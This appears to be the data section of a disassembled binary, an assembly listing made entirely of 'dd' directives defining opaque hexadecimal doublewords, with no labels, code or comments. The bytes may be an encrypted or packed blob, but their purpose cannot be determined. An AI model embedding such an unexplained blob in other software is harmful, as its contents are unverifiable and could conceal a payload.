		dd 35C47456h, 69D38041h, 0B32AB0h, 0B3429200h, 2E9134D1h
		dd 0CDFE2F00h, 0E622EDEFh, 278A9070h, 98D771E4h, 4FA5955Ah
		dd 0D030AE1Ch, 495F31h,	0BF414413h, 0A46A3D63h,	0F1C6E509h
		dd 44807205h, 96456F0h,	0A8130646h, 1555163Ah, 5789B2ACh
		dd 0FF101918h, 36B09000h, 9AB237CDh, 7A7F0331h,	164C77E8h
		dd 0BA5F6888h, 0F5B2065Ah, 39A90592h, 3042C92Ah, 7D4E1BF5h
		dd 0FA7E48BEh, 725B5789h, 327D9873h, 0D937140Dh, 0B8E6D2D7h
		dd 0DA743EB4h, 0E8218525h, 3F88E780h, 12B17CDh,	8D950178h
		dd 82094508h, 72DD33F9h, 885F4B79h, 0B0046563h,	0C02E28B5h
		dd 0A2280B9h, 28CBF0Ah,	4E11B947h, 2A75CD4Ah, 5C33D8C2h
		dd 5339C475h, 0AD3784FEh, 0D8B78271h, 6107760h,	2B00A430h
		dd 0B9668E9Eh, 805AFE07h, 418213FDh, 7944958Ah,	4026F2EBh
		dd 244BC6AAh, 62C18899h, 6E2A4031h, 0B5CC0919h,	0B0B4E0ACh
		dd 4CF977Eh, 2B2C6E41h,	0B4D9DD20h, 35DF2733h, 32CC2D6Fh
		dd 4C705700h, 51AD5439h, 9F2093Ch, 215F8D29h, 0FB8B9A1h
		dd 4D3C1932h, 0A26CE6CAh, 0FCAA3014h, 37B96002h, 4018BEE4h
		dd 8208316Ch, 0F723C27Fh, 128E87BDh, 0EF8040B5h, 90D22B8Eh
		dd 0B6CCD265h, 0DE8BC5E2h, 94B820A9h, 9A1E7D02h, 5DBBB555h
		dd 0C8DF5881h, 0EA0A80ABh, 0D61536Ah, 68D39D88h, 1CC4FAD8h
		dd 8088FFB8h, 1127CD8h,	1F4AB59Dh, 98048E9h, 0D8F0A148h
		dd 2A13E700h, 776F243h,	0E37B0086h, 600D068Fh, 714A958Bh
		dd 0D0B841BBh, 6A613523h, 177C59A6h, 0C26A96EBh, 0BAD52197h
		dd 7133FB91h, 92C36F11h, 8F694B29h, 62CAA00Eh, 631097AEh
		dd 65009FCEh, 0CB82BFEh, 1E1840DEh, 45530F0Dh, 0FDC145FFh
		dd 0A93AB99Bh, 0E9E0D8CAh, 0FA67B51Ch, 0BF027111h, 3D9C05D1h
		dd 0B8701F78h, 0E1F31293h, 0FCFDC927h, 41A93CCh, 71B50179h
		dd 0C06FAE05h, 7161823h, 0AB44C4BAh, 0C2381C2h,	0FF802CEDh
		dd 25B398E1h, 0F8C72681h, 5C04060Bh, 0CB00F472h, 20220DFDh
		dd 9F78B580h, 0FBD02B13h, 6A01323Dh, 27645503h,	282EBF69h
		dd 178BE1FDh, 0AA1319B6h, 89986038h, 5D136057h,	5F3BB392h
		dd 7FF1A429h, 1282F6A7h, 26FBE1F9h, 0B3D2F0E7h,	0FD19761h
		dd 7540269Eh, 8D595BC0h, 12A801F7h, 0B71FA713h,	0F1092EE5h
		dd 0B6D472F9h, 77514945h, 7189B309h, 49EAB163h,	6290022Fh
		dd 9D0E7D74h, 8527E3D4h, 0ECFF2612h, 30F33A1Ah,	0B346A85Ah
		dd 2C2BD94Eh, 0CB8AE56Bh, 5AF9DF4Bh, 0B9C5BF83h, 0C16FF8F4h
		dd 5902C13Eh, 0F64927E1h, 58DE448Bh, 2013AA74h,	2AD12DAAh
		dd 0F601876Ah, 0BB7801CEh, 0BCBC600Ah, 25624579h, 5C1FE1F6h
		dd 8C60E465h, 18003E27h, 408C90ABh, 0BC92806h, 61FCD0D7h
		dd 1E6899A0h, 0BB89C8E9h, 4B0483C4h, 0F8748C06h, 0F5721297h
		dd 5BE008CDh, 901DC256h, 8FC97AAh, 0FD886225h, 7C60BB4Fh
		dd 30E762Bh, 1C55AB7Bh,	0C7C1EABFh, 1A272E42h, 2AF2CF00h
		dd 671900ECh, 0FBC7816Dh, 5312A070h, 0F21F095Fh, 29FFE056h
		dd 0A82139ECh, 0BD0B086Eh, 3B2616F1h, 0FD4D702h, 21CF5501h
		dd 0BFD18840h, 941B092Bh, 0B2DF5019h, 0A144F78Fh, 15D85B4Bh
		dd 0F6044E46h, 6520E039h, 0E89172D9h, 47320308h, 960EB3EBh
		dd 7E4CA2FCh, 886AC900h, 5BFC8A60h, 869CC45Fh, 77564B08h
		dd 6F963F31h, 0B525E8A8h, 80BA3DD5h, 0FAA2864Ch, 94AC9ECh
		dd 0F1961EECh, 0A8400079h, 5201586Eh, 7E5CA94Bh, 0D2E3A368h
		dd 0FB8955DCh, 0ABFA5F70h, 4D23B02Fh, 0A414C044h, 6605AA1Fh
		dd 4E6DBAD5h, 1BDD507h,	5BF2563Bh, 50041EEAh, 38B1B5AEh
		dd 39324869h, 80174DE1h, 8D0F61F5h, 25D8A0Eh, 2C951Ah
		dd 31E1B589h, 0CB7BFBBFh, 0F742656Dh, 0BD5D404Ah, 232B2441h
		dd 29890598h, 2BCBBF05h, 0ED4A6838h, 31E8B7h, 501E131Bh
		dd 0FC603D71h, 705AE938h, 0E9BAEDB7h, 27526557h, 0BD8A9BF0h
		dd 8043E0DEh, 393CB00Ch, 4A80B264h, 7079045Bh, 0EB92BC79h
		dd 8152F884h, 22DD104h,	269FD65Fh, 967F4B86h, 4168452Bh
		dd 4B80AC39h, 0EE5727EAh, 1657118h, 2F33AECCh, 7F99B16Dh
		dd 1DC8A69Ah, 0F75116C0h, 963E01DCh, 0B190A6D6h, 694A6052h
		dd 3C80F609h, 8142795Fh
		dd 0E6573FBBh, 7A372E08h, 652B85B0h, 27999741h,	398B4156h
		dd 505B0019h, 88574B53h, 0AB00D6EFh, 0AD292D26h, 174E6894h
		dd 0FB5B5F0Ch, 605FFE3Fh, 3405B046h, 5E8EA500h,	0EB3F57DCh
		dd 152A7ABFh, 9AF578D3h, 0D5A293h, 98B409F1h, 97787083h
		dd 0E7811198h, 97D50B0Ah, 0DC4C7A19h, 253A96E5h, 3E98EF66h
		dd 0CE2A6125h, 0B130C5EFh, 4E0DA604h, 0B1A1B1E9h, 4A9A7AEAh
		dd 2BC017C8h, 9786EB1Fh, 0C5EFF09h, 0BCD309DCh,	1C78FE8Ah
		dd 99B52909h, 0A5EE7321h, 0D36E10FCh, 0CFB3A212h, 0ABB45F46h
		dd 9D6A00A0h, 258207B7h, 0D5129031h, 4F034FD9h,	0D02C5432h
		dd 4A7C45D0h, 17B8F749h, 29EE226Dh, 74DA08EBh, 7636BB00h
		dd 0CA6AC3A3h, 0B23ECB6h, 7737780Dh, 44BBD000h,	6027AD4Ch
		dd 4C10565Fh, 1B5E915Ah, 3EBD6CADh, 0EC4BD4A7h,	894CC565h
		dd 9212C108h, 0B63F8856h, 0AF94DA00h, 68F275F5h, 0CF5713ECh
		dd 3D3E045Fh, 0ACEFB9B9h, 4C128C16h, 0DBE220CBh, 0F58A4088h
		dd 0BA4850h, 91548D64h,	3C976ACEh, 0FA498ED2h, 0DCBD384Dh
		dd 980E67DEh, 24B03ABCh, 54B01216h, 2CB7A531h, 0AFCC1695h
		dd 24B188h, 0B9092CF4h,	0F0771C18h, 930E5E00h, 0A73C94D1h
		dd 45E9EBEh, 0B85B7DAAh, 6BA8D2F7h, 4B36F64Fh, 0DEEE3194h
		dd 0E9C9C387h, 0D7CED2EBh, 31099DC6h, 7304399Dh, 174A5DAh
		dd 0E4AC2A12h, 332023E2h, 971A119Dh, 3E108C3Bh,	503B0F79h
		dd 0A5A2BDA7h, 0D3D2C65Bh, 0CD332525h, 44D30076h, 0E92860EBh
		dd 0A82F3B45h, 0C1979DFCh, 0D4B5C90Eh, 1E9123Ah, 0FC4B56E7h
		dd 0B0222217h, 0F5B6CFCDh, 0F87BADB3h, 0BF330CBEh, 7186DE65h
		dd 95EA10B7h, 5A2EA32Eh, 66DC90B2h, 206130BBh, 0E4EFB29Eh
		dd 5596B6BBh, 0C9F2A82Fh, 0F3167787h, 5DBD0108h, 3090121Eh
		dd 62ABF27Dh, 96B8C50Eh, 17268098h, 27B750B1h, 0D3B790E7h
		dd 0D36FAA00h, 9014C158h, 606E0048h, 0BA66D08Bh, 614E04BEh
		dd 0E9E896A9h, 65D6C701h, 8D290E7Fh, 0EF3825D5h, 0F6D71796h
		dd 311BB2DCh, 7598FB09h, 2D4E0E50h, 5E5121FBh, 3EF83E37h
		dd 6A5B28E1h, 0DA6A0ADDh, 0FFA0825Ah, 7AB7F5D1h, 0F7FA2F00h
		dd 4B4019BFh, 4E0B9ECDh, 0BD3F376Ah, 2DF8C184h,	976BF83Bh
		dd 0E4A270ABh, 78033A34h, 9531858Ah, 17B8D4A5h,	849EDAD2h
		dd 83872921h, 695825B8h, 2F18DBB7h, 0ECAC8EA0h,	14078EBBh
		dd 0DF54A361h, 0C041EB03h, 0BD310F5Bh, 0BB0F7346h, 52809C4Eh
		dd 0B57FF5E9h, 0C2AD84F9h, 87C8FFEBh, 7BBD1345h, 0D0385AB0h
		dd 0BF3A2087h, 1EE60B48h, 0D610FF8Bh, 0FC97A1E9h, 0EFBC58C9h
		dd 0CCCD9584h, 7063C440h, 4C4F0498h, 0B857C84Eh, 8A5B0E43h
		dd 0C09EF4DCh, 51300317h, 7CD7049h, 0BBE30789h,	0BD338277h
		dd 71897057h, 8B539D5Bh, 4B14D988h, 0B0D52B0Bh,	705D6D3Dh
		dd 0A04D0971h, 6559BB17h, 81DEEF00h, 0E5033Ah, 61F1EA4Bh
		dd 58B67856h, 4E25BE07h, 90A45288h, 80B867FDh, 0E133281Dh
		dd 8DF63A84h, 0B9D60DB8h, 0BEBCF3h, 0DCE1D5C7h,	25A19501h
		dd 0B0271497h, 5E162562h, 18BD25CAh, 71404D85h,	0FC5A7ABDh
		dd 4EB297FEh, 0BFB63E85h, 0B37BDC8Dh, 6A5F0B87h, 0C0FCCDFFh
		dd 28F70DF0h, 34D4C000h, 0DF815E2Ah, 8BA517BBh,	0A12B047Fh
		dd 0EFA6EA07h, 7D5CBBF2h, 604F17C4h, 63AF275Fh,	0CE21AAF3h
		dd 0E096B061h, 6C3CC8Bh, 24AD0C4Eh, 0EE85F100h,	799D8968h
		dd 4BFF214Bh, 0FE66883Ch, 0A32E712h, 8BDA75E4h,	0BD23C3E0h
		dd 0C17D2A25h, 59DD096Dh, 91F7F92Bh, 0D7419DB7h, 198C50EEh
		dd 82B2C71h, 802F322Ch,	4EF9D797h, 79BD1A31h, 6956C91Fh
		dd 0E21F5716h, 845B4BE2h, 223A816Eh, 13FC2B7Ah,	0DE089910h
		dd 81E9F946h, 0E0505A7Fh, 0F7B4232Fh, 1448E48h,	8ED871B9h
		dd 0EB69CEF3h, 1C3CF410h, 0B566D29h, 6C000E65h,	93376E7h
		dd 1159B51Eh, 956A782Fh, 6677679Ah, 679195C6h, 0B3706E31h
		dd 7E6A8DCAh, 0F8CB0754h, 2125D687h, 0C9F94FEBh, 78642E27h
		dd 33978204h, 68070584h, 56898D31h, 71B858E7h, 40DE6FB5h
		dd 0C4C85DDAh, 4DA166Bh, 0AA6413F0h, 3D0EF76Ah,	99410B77h
		dd 3EDF31FAh, 22751604h, 19BC69B9h, 7E14028Ch, 281E1B76h
		dd 0D100C7C6h, 4834CF2h, 0D0919Eh, 0F152AE9Dh, 0F8B989F9h
		dd 37AA29D2h, 68F62F9h,	4A50782Bh, 0A248E62Ah, 0AD98301Ch
		dd 0D7838D00h, 23877BDAh, 82A805BBh, 0E6FC196Fh, 63BAE177h
		dd 1487EFF4h, 0D3491A2Fh, 12170910h, 88EBC02Bh,	1300AC8Ah
		dd 5EE187D9h, 48F89E4Dh, 89004B60h, 0BDDC0C76h,	42C5B08Fh
		dd 61AE2041h, 2A63B30Bh, 95841BB6h, 81534021h, 25BEA7C7h
		dd 927F2252h, 41986056h, 135BB504h, 84C31579h, 2E8EE121h
		dd 257E4913h, 0FCB51C00h, 371DF288h, 0D00096A6h, 0A0988BFBh
		dd 0F00CCA68h, 2F047A4Eh, 0E5DE894Fh, 5A615969h, 12DE84F7h
		dd 0CE7AFEh, 0B310A1E8h, 2D76D73Fh, 7D94112h, 358B4BBEh
		dd 0A4EF5525h, 1C94DC69h, 53DB27B8h, 2557B6D8h,	44DBD3B7h
		dd 48E3D912h, 897FF825h, 4419598Fh, 12C054ACh, 0E9AC3371h
		dd 274FB4E3h, 0E9A8C684h, 205E6EA3h, 96C1999Bh,	0EC621941h
		dd 0F64CCAAAh, 157316BFh, 6917F04h, 76CD6009h, 1ABFE2C0h
		dd 56BA6E8Dh, 25861E6Ah, 0EF762B62h, 958AE840h,	4B630E4Dh
		dd 0DF4278D8h, 95C2164h, 0C029CD27h, 0C09650EDh, 0EC167202h
		dd 5CA62D65h, 15E892Dh,	4BFBD55h, 0C4F5838Bh, 0B9DB1792h
		dd 0DEA25A0Bh, 694B9FA8h, 0BC0AC9BDh, 0A5F888D5h, 0D59E8270h
		dd 0D6EAFC2Dh, 0F7C995BEh, 0F15FCF1Ah, 0D7DBF28Ch, 0CF684B00h
		dd 12DAAB4Ah, 4E149FF7h, 0AB135564h, 71C4F99Eh,	5A89AB29h
		dd 0DDD8001h, 96A9A36Ah, 0BB03ECE6h, 5650A345h,	0F792DAA8h
		dd 5DFF3C4Bh, 33C62490h, 4A848734h, 0D8090E89h,	0C6664D58h
		dd 4D20F8C4h, 0D1BB0420h, 0A82BAC31h, 0F801C9DDh, 0CDBA959Ch
		dd 56406F74h, 36A5ECh, 1B69EBA8h, 0FF0CE72Bh, 4653BC00h
		dd 0E9B82E10h, 95349A28h, 0A9B3C798h, 0CD59B725h, 641C64CAh
		dd 0A86EEFDh, 925DAB3h,	96CFCE1Dh, 0E2404020h, 8400194Bh
		dd 42C434FEh, 148A2365h, 6FE860DEh, 0C86A8902h,	0F40AE9Bh
		dd 0C6730A68h, 0AD716000h, 0EB0586Ch, 2078B05Eh, 61252CA9h
		dd 9CC0CE5Fh, 0D05D4ABh, 0FD58531h, 7406BD49h, 7B01DCC7h
		dd 95AAEC2Dh, 312EEF6Dh, 3A8D89B9h, 0A23A22E5h,	26BA8BBh
		dd 6CB88BDBh, 0DA5C4CB5h, 59B725h, 8F3F1BDDh, 0BD4B8922h
		dd 0B55037F4h, 4D17261h, 86A420EBh, 0E02D91CEh,	2D7C5993h
		dd 5D083859h, 181F5320h, 6282DE9h, 0F2D20148h, 4BB1DC50h
		dd 7FFBA755h, 8DBB42A4h, 0BFD44CC4h, 74541C0Fh,	0BB003C14h
		dd 66DE27AFh, 9E10A089h, 370C17DCh, 128BF858h, 0ADE72F3Eh
		dd 0C49D2922h, 27152085h, 0AC8604Bh, 0A10B28F9h, 2B1412AFh
		dd 62DDEAEEh, 56E1E62Ah, 1ED1006Ah, 0A6A51C86h,	0F7260E25h
		dd 0BFA1E91Bh, 0E00890E7h, 60375EBDh, 0C6A94B61h, 7BBB0545h
		dd 0E2179655h, 94821EFFh, 79AB3F00h, 7C16C2h, 522D030h
		dd 4D12CAAEh, 25DBC49Fh, 8FF53D1Ch, 3CF9C020h, 1DF132DAh
		dd 858485D9h, 4784AEAh,	92A3185h, 0CB705E5Fh, 144B2B78h
		dd 90418DAh, 0AF1C05B5h, 0ED5B512Ah, 2E4AC9Fh, 365620Bh
		dd 0E97FBD29h, 407FE92Eh, 0B0F781B0h, 374B30AFh, 0BBB8BF8Eh
		dd 0AF73893Ah, 1A0376Fh, 0CFB9A621h, 1D422E95h,	42DA8B60h
		dd 92D074D8h, 9028AC1h
		dd 5D044C85h, 0AA029A3Dh, 551148D9h, 0F516AC62h, 0FE041D25h
		dd 0D248F606h, 0CA5838C0h, 16C836DAh, 0EB7E83C1h, 88CE103Eh
		dd 4AEC8505h, 919AEA24h, 0EDC149D5h, 0C19F03D4h, 778D6AABh
		dd 97DEBFD8h, 6274B809h, 57820EF6h, 0E8F20895h,	16351009h
		dd 0B9850905h, 7471AE1Bh, 1D7EFDB7h, 529F13ACh,	1356E8C7h
		dd 71AEF8B3h, 4135597h,	856513AAh, 286BABECh, 0F1041623h
		dd 0A7AA75B1h, 5A21F035h, 9ED75F6h, 118D9D0Bh, 64C6F7h
		dd 7FE724ADh, 0CAD34110h, 62460502h, 75659512h,	539D03CCh
		dd 794DAFFFh, 0D6223C0h, 1F1A0261h, 0C642BF66h,	3DB7DA70h
		dd 1CE88037h, 2D89B667h, 0B28D0209h, 257778C8h,	5AE0DF8Bh
		dd 3921BD0Bh, 95014024h, 0EE9519D9h, 40D9BE26h,	697FE39h
		dd 4E124501h, 0D6779F6h, 0BC0FF93Bh, 2A820002h,	9DBDBF60h
		dd 892D1E86h, 4BECFA95h, 367FFE61h, 0D82BDE0Eh,	6A223F20h
		dd 0EC4F7F13h, 17B21EE6h, 2E8AE30h, 9D091B6Bh, 7B5D0151h
		dd 0B7280E1h, 0A75965A0h, 5D15B500h, 259A8EA9h,	33AF1662h
		dd 0B0D380DEh, 2A905EA0h, 4B78C15Dh, 280D6EEEh,	0CD95F10Ah
		dd 621A6476h, 6CC7414Ah, 9092B8FCh, 0FCE425FEh,	47908BE6h
		dd 974BC595h, 0EC17F939h, 50722F6Bh, 0D9E1D290h, 3AC91500h
		dd 0B6C89F3Bh, 2F8E1564h, 1273935Eh, 0BF1831BDh, 178996DBh
		dd 42CE9C30h, 209C2DF2h, 444A742Dh, 9F5EDF35h, 51B69FC2h
		dd 0BF65F55Bh, 4A8B6750h, 0DD6AFFFAh, 3FC01149h, 8E885F5h
		dd 89A0BF04h, 94BC0AE7h, 42B55A2h, 0AD489DFh, 0C8C39AEAh
		dd 80AFC514h, 3423F698h, 7BC63C27h, 5A5DD24Eh, 338F2669h
		dd 4B5625C9h, 8908A578h, 15B16AB6h, 0BC21FD6Ah,	829F0075h
		dd 9EA36365h, 0AA98B70Fh, 2E41BD12h, 0B6B435BCh, 9820A080h
		dd 6F7E021Fh, 21C0FBA7h, 9375C0E2h, 0C87416A1h,	70FAE261h
		dd 186C6D04h, 0B3EF3599h, 72A84BC7h, 0B6240413h, 2C0BE064h
		dd 313CC2D6h, 0B754DD95h, 4C588349h, 49F03888h,	0B713E53Fh
		dd 0D224ABD2h, 524EFAEDh, 0B88DB9F1h, 49D9092Dh, 0FE749DC5h
		dd 6ACA0C05h, 466FAFh, 374E550Dh, 4B3641FDh, 0DEDCD2F9h
		dd 5060BB14h, 0B10EF909h, 0D23AC74Dh, 0D559C6F7h, 0D1FACCACh
		dd 0F604E777h, 2E35B529h, 0E775FF0Fh, 374F70BCh, 23C574F1h
		dd 38DE8E2Bh, 0CDB5708Dh, 0EDC4E063h, 597DB099h, 6A148C09h
		dd 25D6DE02h, 0F67B1C42h, 0B8E577DAh, 91D541A5h, 158D2910h
		dd 5A8B2044h, 0AC45ADD9h, 1589B16h, 9BD67A9h, 26443A85h
		dd 97BCE7E9h, 0E58253E3h, 406FA3D4h, 3F79DE17h,	166C5CDDh
		dd 0A71C0512h, 6A9A0BCh, 0C27B07F7h, 14B53190h,	0EBD8BE15h
		dd 0CDD2B5E1h, 7A13F700h, 0B8483A24h, 0AC501283h, 4BA0F3F4h
		dd 0C280EAA9h, 36615198h, 6B1C0C14h, 58F113D9h,	3433430h
		dd 107705BCh, 0FA506189h, 0BFDCC58Dh, 0A2F004C2h, 0EE905F57h
		dd 0CAC065DBh, 1A3066DFh, 2C9DEEA8h, 95F96EBDh,	29824E5Bh
		dd 57056595h, 0DA5AAE16h, 0BB8C34EBh, 0DC605BF4h, 4135054h
		dd 6A615950h, 0C1F39BEEh, 286E785Eh, 0CDB4816Fh, 4AC50826h
		dd 4330FA23h, 0D8F9EEh,	4CA1CC26h, 0DD10AB98h, 3B0AC701h
		dd 0ED7CC94Fh, 0D4AF1750h, 0D480345h, 0BD775FBFh, 0C72390F0h
		dd 60FF2004h, 0CFBC7FAEh, 0D4CB8080h, 0BB014E91h, 0F810A070h
		dd 0D7C65B12h, 142E6839h, 51E1F2AFh, 26943FA1h,	173AC9AAh
		dd 39E3F046h, 66005C31h, 2A470B27h, 58B536Fh, 8AC4450h
		dd 32E0CCF3h, 4204A700h, 0AF8A9A25h, 0B81C008Bh, 0E45F33E7h
		dd 0BB126671h, 83F46FD1h, 858988E5h, 4BC17D5Dh,	0DC8A8380h
		dd 3098BDBAh, 60801C4Dh, 0BD3124F5h, 0FAC1C5FCh, 0AD4A0CE2h
		dd 299D0863h, 606C6A0Eh, 888CD8AFh, 2B0083F4h, 0EADB81C8h
		dd 33495436h, 0D590D18Bh, 92E96112h, 0D92D45F2h, 2D2E2AD8h
		dd 440E8E25h, 325F2C4Ch, 8D939F05h, 3DBA384Eh, 7A22B841h
		dd 6EE2DA09h, 0B1857B0Ah, 3B2EE5F0h, 52D3C5FCh,	285E35Ch
		dd 3C9FADBBh, 44845E17h, 40E84A3Bh, 0EE9B0800h,	18A1459Fh
		dd 0C447A7CBh, 4E098BD7h, 5DBD2B5Bh, 895CFE62h,	38F0FC1h
		dd 0D0447E49h, 0B191795Dh, 0B08E984Bh, 37E48025h, 91187CBh
		dd 3E1D94h, 7F0C7CCh, 61AA244Ah, 122BAD3Ah, 0CD866A06h
		dd 7784E0F0h, 7F021EC8h, 83F971C1h, 0ECD55E1h, 0A35855E0h
		dd 46FC563Dh, 0EF0EA2B0h, 131640Bh, 0C69AC079h,	0C02B0961h
		dd 1C78FD8Ah, 400D4F9Fh, 9F403BD5h, 0FA9D5BB5h,	61C3AAFCh
		dd 0D384E2E8h, 0BD97080h, 9345C104h, 4D80F9D6h,	0B5CE85EFh
		dd 1444D8CDh, 0F4FC1E62h, 5D4A622Dh, 5352ABFBh,	0F835033Fh
		dd 0B0FA34C1h, 1E0E9D85h, 8DE4401Fh, 0F676E3D4h, 884CB102h
		dd 55EBCD22h, 5BC9D90Fh, 0DEB7AA78h, 0C5F6F454h, 0B0F70502h
		dd 5759BF37h, 0CDAFF317h, 0D0E14727h, 0FDA398D4h, 0BCE69501h
		dd 0C18A60C8h, 4C9D7330h, 0BD84BC1Eh, 6001D399h, 3C8B888h
		dd 0D07CC724h, 291DB10Ch, 0AAE32780h, 4E201455h, 54DADC3Fh
		dd 4C2D472Ch, 2021FA00h, 4DD6789h, 0F39615C4h, 0C1EBC1C2h
		dd 0F6B66A22h, 0BD081D58h, 660231DDh, 7D042DB9h, 0BB813751h
		dd 68FFED69h, 0F1DAC8CAh, 0AAC79508h, 0B64B7511h, 79B50915h
		dd 0C4977905h, 0C37BAE77h, 3146D200h, 0C5539173h, 0B7CA8F4Bh
		dd 0BDFD1127h, 606B0905h, 1DC3DF6h, 2FD394EEh, 23D6CC0Dh
		dd 8228007Bh, 442DA3C8h, 0C30C01ABh, 0EE3548DDh, 0E5E02E11h
		dd 559B125Ah, 6DBCF15Fh, 121CB8E2h, 0EAF88B48h,	0C1802D9Eh
		dd 2F7387CBh, 35AE2D4Eh, 11DB82A4h, 3C4B517Dh, 0D3CFB570h
		dd 0EA9DD40h, 0E3B94FA4h, 2FAC5AC2h, 0C61E1FAAh, 2C4A86C0h
		dd 1E811A87h, 9268B9F3h, 12CEF30Bh, 0A5377CB3h,	8A4BC580h
		dd 0D7740316h, 9BA46055h, 33E8C6C0h, 250212Fh, 6124046Ah
		dd 9EA7DB95h, 0CCA355E1h, 1011B68h, 0ECBFE26Dh,	0F6E3D0B0h
		dd 2E4092Eh, 0EB511DB2h, 5CC7B78Bh, 155E263h, 4F021D22h
		dd 96386E5Fh, 0F34BC8D3h, 9B3E41C9h, 1800DC35h,	0D129D9CDh
		dd 704A2752h, 0EADC7643h, 15C8C7DBh, 84A03BC2h,	5DBCFAA8h
		dd 0B242B74Fh, 1251FC6Dh, 0AC0ABD0Bh, 7138C16h,	0C8EE5280h
		dd 6568924h, 8B51B026h,	31520B8Eh, 38DEBD95h, 792D75ABh
		dd 617500BEh, 3B13E632h, 0D4499600h, 564D06CFh,	955850BCh
		dd 0FC5B25FEh, 48353BE2h, 0F5335C86h, 1BD20DCh,	0DA1F965Fh
		dd 0D9A5C9E5h, 5AFC4007h, 965E5B58h, 5E1BC2C2h,	0AD9DEF32h
		dd 683CD472h, 9A32001Eh, 2EF17BFh, 983926Fh, 65EC7AE1h
		dd 144AC8D8h, 6BB511B8h, 89DD0476h, 52E5FD8Dh, 85802F78h
		dd 0E39AF4AAh, 54839C00h, 15D734FFh, 0AB200C7h,	11446338h
		dd 0DA4A8B6Ch, 9A3DE7E5h, 0E902D8B8h, 0DE525D54h, 2573F60Eh
		dd 2500BDE4h, 41E1F78h,	5372B4Bh, 176883D0h, 0D59C09B3h
		dd 14D7D362h, 61868D6Ah, 0CCD2BB9Ch, 61127DF9h,	49CCF88Ah
		dd 3BCB2580h, 24B3BDFFh, 282EE00Ch, 0B4C2D0A1h,	0F55DBC71h
		dd 372F0C6Dh, 0D147040Dh, 15538140h, 0C4E9032Ah, 0D349DEAFh
		dd 0EE8A52BBh, 0F92FA6C9h, 16C9AEE0h, 0E7464D30h, 8531E11Ch
		dd 0D8EF349Ah, 0A51BDC9h, 4F04D562h, 0AB6808h, 3E9C1084h
		dd 3C4EEF56h, 98B664E0h, 990EA52Ch, 7F666F9Eh, 520119F7h
		dd 2D264BBh, 36A82E74h,	52DD89CEh, 1DDDFF34h, 4C7344ADh
		dd 51B5ADh, 0CA39EAE3h,	385A37A3h, 0F9308387h, 5BDCB796h
		dd 54062050h, 0B055D6Fh
		dd 912AC925h, 8F0030A2h, 9257D983h, 2D0C4DE7h, 481523FEh
		dd 0A45B4CFBh, 97D39B4Ah, 744C90ABh, 0E52DB83Ah, 8E470892h
		dd 2C59C44Eh, 0C8FEDBBFh, 9256C317h, 1E4065A2h,	0B9971AC9h
		dd 54F20154h, 77C0A51Bh, 0CAAAF2B5h, 0F6AD54h, 0FD9E38DFh
		dd 811D66E2h, 725FCF02h, 5DF52927h, 0C5A17A51h,	918522Fh
		dd 9CBF54C3h, 44AD3B79h, 8973BF5Fh, 1506E782h, 83535DE0h
		dd 9E1D0FF8h, 22C225F7h, 2FDC4D56h, 0F7860B8h, 61F9AA88h
		dd 4C4149B4h, 0B82FB29Dh, 17BB9312h, 0B8641633h, 0FC3DD0D0h
		dd 0B5FE90B1h, 785C8CB2h, 73BCF544h, 0B31CB75Eh, 3509804Dh
		dd 8DDE9FF5h, 4165C24Ch, 1D2D601Fh, 9BFECFD3h, 6DBFC01Dh
		dd 5C8D8641h, 8013ACEEh, 864A0CEh, 0A1FB4082h, 0C036BC1Ah
		dd 0FF240520h, 0FD4438h, 89993459h, 397867FEh, 7792CD31h
		dd 0AA9CEC5Bh, 0A9FD0F00h, 0CFE07DEEh, 2E1FA3A1h, 0BD9382EDh
		dd 7FFF4B6Dh, 934C7DAAh, 0C0ED3E09h, 0BC609D96h, 723A76BFh
		dd 37BDF9D3h, 0B4CB0103h, 0F34FE862h, 54255BE9h, 0C5A7EB8Eh
		dd 0E598B6A0h, 2316839Eh, 0BFC020E9h, 105FAE40h, 0EDEB8102h
		dd 5E6672D0h, 0A75351AEh, 0DEAF5C52h, 0FDE9A300h, 33A4B813h
		dd 4B3A483Dh, 0C2913134h, 0EC55829Ch, 0BD919FADh, 0CCFFFEF1h
		dd 5BE019Ah, 4EAC0232h,	7EE82F68h, 0B29B64A4h, 5DE84A43h
		dd 855B3C00h, 0B9F54BFEh, 6C091AEEh, 790A221Fh,	9D8984B8h
		dd 0FD0BAA21h, 8E6FD160h, 0D3E45951h, 8110EDDDh, 1BA9BB66h
		dd 0C8E0DA6Bh, 572FC019h, 0F0E9A18h, 2B9D0126h,	0ACCC771Bh
		dd 0B9B52909h, 71337420h, 9FD75F66h, 0CC950039h, 0A18EFE7Eh
		dd 77B95BEh, 9C181659h,	32B80875h, 1628E522h, 0BC1291BDh
		dd 99FE93E3h, 9D03402Ah, 549D3055h, 35FFD263h, 22F627F8h
		dd 0E141D02h, 5224D829h, 0C131FB2Ah, 2F34E995h,	0DA6FD816h
		dd 7FA0E500h, 6156E8D3h, 0D0F74D27h, 0FF2E614Bh, 3AB509C1h
		dd 6BAB6E53h, 271723F9h, 0F1A59AFCh, 60ED00E9h,	1499094Ch
		dd 9C156A05h, 0A5FB8B4Dh, 0B9B02B2Dh, 40A89690h, 36A7C4B7h
		dd 6440BA01h, 63065D60h, 9653EBDCh, 0C3CF38E6h,	909A94C8h
		dd 0E872D2F3h, 9FC0B366h, 0ADEE25Ch, 4E766BD5h,	976920E0h
		dd 0FFBA925h, 0E58B2CA8h, 80DB37FDh, 5F16F73Bh,	0CC04F484h
		dd 7DB3B80Fh, 0BD2531E9h, 0D1B0BBFAh, 824BCB0Ah, 8625A850h
		dd 95885777h, 1D15FFD4h, 95290450h, 2DD11649h, 2A96CB8Ah
		dd 8D2FAC1h, 0C1CC5504h, 0DCB54DDh, 3455508h, 0BD1EE58h
		dd 0A1F12AA9h, 626A640Bh, 253D5082h, 0D669F45Eh, 0E22FD496h
		dd 9FF1E8h, 703D816Bh, 4E1CC1D2h, 234BA7EBh, 8A10F74Ch
		dd 149D5A7Ah, 8115FF05h, 12DF5DCh, 8541026Ah, 0AE050511h
		dd 12077C2h, 6F535090h,	1A15E720h, 28B309EBh, 447D5F5Bh
		dd 774903B5h, 8F2C32F7h, 0DB15E3B0h, 3C00D00h, 5B394F2Bh
		dd 0BD310B90h, 375F2071h, 0E905A4D2h, 0AE84A9D3h, 0E3BC7AE9h
		dd 41136E1h, 0D7691697h, 894CBF14h, 893093ADh, 7CA0ACh
		dd 9B372C1Ah, 96711B1Fh, 0D93A7716h, 4A312EAh, 32F156Dh
		dd 0EF8B6050h, 40AC5245h, 67A25580h, 0F707A4ECh, 0F2DD9D39h
		dd 0EAC50401h, 0D62FA27Fh, 8B123CBDh, 489F6D8h,	17F99509h
